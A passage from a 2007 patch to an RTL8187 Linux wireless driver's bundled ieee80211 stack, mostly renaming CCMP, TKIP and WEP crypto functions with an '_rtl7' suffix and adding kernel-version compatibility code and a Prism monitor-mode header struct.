block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +247,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +255,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +272,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +336,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +347,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +375,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +406,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +430,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +447,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-05-26 10:38:11.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-05-26 10:38:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +72,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +111,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +210,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +232,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +278,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +293,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +335,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +392,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +438,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +459,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +506,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +518,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +529,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +550,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +566,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +574,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +583,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +595,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +611,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +641,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +671,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +698,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-05-26 10:38:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +50,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +82,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +97,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +161,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +213,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +227,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +240,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +249,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-05-26 10:38:11.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void 